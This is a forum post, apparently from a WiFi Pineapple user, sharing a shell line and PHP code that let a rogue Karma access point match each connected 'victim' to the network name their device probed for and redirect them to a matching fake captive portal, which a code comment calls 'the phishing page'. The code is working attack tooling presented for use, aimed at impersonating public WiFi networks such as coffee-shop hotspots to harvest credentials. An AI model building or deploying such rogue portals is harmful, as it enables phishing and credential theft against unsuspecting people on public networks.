Hi,
i've been looking to make a specialy crafted Captiv-portal plateform, where i could direct the user depending on the SSID he connected to.
has i finaly succeded, i though someone could find this usefull
It's been quite a while since i last programmed anything, so sorry for the ugly code ;)
first, you need to find a way to match an SSID and the IP of our victim.
you'll find a list of the SSID/victim-MAC in the karma log file.
you'll find a list of the victime-MAC/Victime-IP in the dhcp.leases log file
so i added a line in the "/www/pineapple/update-associations.sh" in the "do" loop
grep "KARMA: Probe request from" /tmp/karma.log |uniq > www/pineapple/mactossid.log
then i edited the "redirect.php" page
$ref = $_SERVER['HTTP_REFERER'];
$user_ip = $_SERVER['REMOTE_ADDR'];
$good_essid="nossid";
$handle1 = fopen("/tmp/dhcp.leases",r);
while($userinfo = fscanf($handle1, "%s\t%s\t%s\t%s\t%s\n"))
{
list ($id, $mac, $ip, $client_name, $assigned_mac) = $userinfo;
if($ip==$user_ip) //Find the user IP in the DHCP_lease
{
$handle2 = fopen("/www/pineapple/mactossid.log","a+");
while($userinfo2 = fscanf($handle2, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n"))
{
list ($a1,$a2,$a3,$a4,$mac_addr,$a6,$a7,$essid) = $userinfo2;
$essid=str_replace("'","",$essid);
if($mac==$mac_addr) //Get the last occurence of the victime asking to connect to karma
{
$good_essid=$essid;
}
}
}
}
if($good_essid!="nossid")
{
//echo "essid=$good_essid ! <BR>";
//send to the right captiv portal
if($good_essid=="FreeWifi"){ header('Location: freewifi.htm'); }
if($good_essid=="Other Free Wifi"){ header('Location: blabla_wifi.htm'); }
if($good_essid=="Coffe Free Wifi"){ header('Location: wifi_coffee.htm'); }
}
// The below line checks the referring address and forwards the browser to the phishing page.
if (strpos($ref, "example")) { header('Location: example.html'); }
// If no match is found the following page will be loaded instead.
require('default.html');
?>
if you know some ways to do this more efficiently, please add a comment.
have fun :P